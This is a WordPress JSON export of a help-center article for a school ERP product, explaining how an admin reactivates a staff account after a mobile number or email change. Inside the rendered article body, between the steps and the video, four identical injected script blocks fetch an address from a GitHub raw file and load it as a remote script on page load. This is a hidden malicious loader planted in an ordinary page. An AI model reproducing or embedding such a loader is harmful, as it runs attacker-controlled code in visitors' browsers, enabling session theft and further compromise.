{"id":7766,"date":"2025-01-15T15:59:54","date_gmt":"2025-01-15T10:29:54","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=7766"},"modified":"2025-12-12T17:52:39","modified_gmt":"2025-12-12T12:22:39","slug":"how-do-i-reactivate-a-staff-account-if-the-mobile-number-or-email-address-has-changed","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-do-i-reactivate-a-staff-account-if-the-mobile-number-or-email-address-has-changed\/","title":{"rendered":"How do I reactivate a staff account if the mobile number or email address has changed?"},"content":{"rendered":"\n<h2 class=\"wp-block-heading has-medium-font-size\">&#8220;To get started, you must be logged in with the Admin or Principal credentials.&#8221; <\/h2>\n\n\n\n<p><strong>Step 1:<\/strong> Go to <strong>Settings<\/strong> &gt; <strong>Administration<\/strong> &gt; <strong>School Setup<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"547\" height=\"1024\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Setting-Administration-SSGreen-547x1024.png\" alt=\"\" class=\"wp-image-10830\" style=\"width:250px\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Setting-Administration-SSGreen-547x1024.png 547w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Setting-Administration-SSGreen-160x300.png 160w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Setting-Administration-SSGreen.png 548w\" sizes=\"auto, (max-width: 547px) 85vw, 547px\" \/><\/figure>\n\n\n\n<p><strong>Step 2:<\/strong> Locate <strong>User Account Management<\/strong> and click on it.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Locate-UAMGreen-1024x463.png\" alt=\"\" class=\"wp-image-10832\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Locate-UAMGreen-1024x463.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Locate-UAMGreen-300x136.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Locate-UAMGreen-768x348.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Locate-UAMGreen-1536x695.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Locate-UAMGreen-1200x543.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Locate-UAMGreen.png 1918w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 3:<\/strong> Click on the <strong>Staff<\/strong> option to proceed.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"466\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/UAM-Staff-1024x466.png\" alt=\"\" class=\"wp-image-8692\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/UAM-Staff-1024x466.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/UAM-Staff-300x137.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/UAM-Staff-768x349.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/UAM-Staff-1536x699.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/UAM-Staff-1200x546.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/UAM-Staff.png 1914w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 4:<\/strong> Select the <strong>&#8216;Not Created&#8217;<\/strong> option.<\/p>\n\n\n\n<p><strong>Step 5:<\/strong> You can filter staff by their department or directly search for them using their name, mobile number, or email address whose mobile number or email address has recently changed.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"242\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Filter-by-Department-1024x242.png\" alt=\"\" class=\"wp-image-10898\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Filter-by-Department-1024x242.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Filter-by-Department-300x71.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Filter-by-Department-768x182.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Filter-by-Department-1536x363.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Filter-by-Department-1200x284.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Filter-by-Department.png 1906w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"189\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Search-Mobile-No-1024x189.png\" alt=\"\" class=\"wp-image-10904\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Search-Mobile-No-1024x189.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Search-Mobile-No-300x55.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Search-Mobile-No-768x142.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Search-Mobile-No-1536x283.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Search-Mobile-No-1200x221.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/UAM-Staff-Not-Created-Search-Mobile-No.png 1909w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step 6:<\/strong> Click on <strong>Create Account<\/strong> next to the staff name.<\/p>\n\n\n\n<p><strong>Step 7:<\/strong> A new <strong>message with an OTP <\/strong>will be sent to the new mobile number, and an activation email will be sent to the new email address.<\/p>\n\n\n\n<p><strong>Step 8:<\/strong> The staff member can activate their account using either the <strong>OTP message<\/strong> or the <strong>activation email<\/strong>.<\/p>\n\n\n\n<p><strong>Note:<\/strong> For further assistance with account activation, please refer to the following guidelines:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>How can staff activate their account using the OTP message?<\/li>\n\n\n\n<li>How can staff activate their account using the activation email?<\/li>\n<\/ol>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n\n\n<h3 class=\"wp-block-heading\">Video Tutorial : <\/h3>\n\n\n\n<figure class=\"wp-block-video\"><video controls src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/12\/B2_08_How-do-I-reactivate-a-staff-account-if-the-mobile-number-or-email-address-has-changed.mp4\"><\/video><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;To get started, you must be logged in with the Admin or Principal credentials.&#8221; Step 1: Go to Settings &gt; Administration &gt; School Setup Step 2: Locate User Account Management and click on it. Step 3: Click on the Staff option to proceed. Step 4: Select the &#8216;Not Created&#8217; option. Step 5: You can filter &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-do-i-reactivate-a-staff-account-if-the-mobile-number-or-email-address-has-changed\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How do I reactivate a staff account if the mobile number or email address has changed?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[709],"tags":[860],"post_folder":[],"class_list":["post-7766","post","type-post","status-publish","format-standard","hentry","category-user-account-management","tag-user-account-creation"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7766","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=7766"}],"version-history":[{"count":17,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7766\/revisions"}],"predecessor-version":[{"id":18303,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7766\/revisions\/18303"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=7766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=7766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=7766"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=7766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}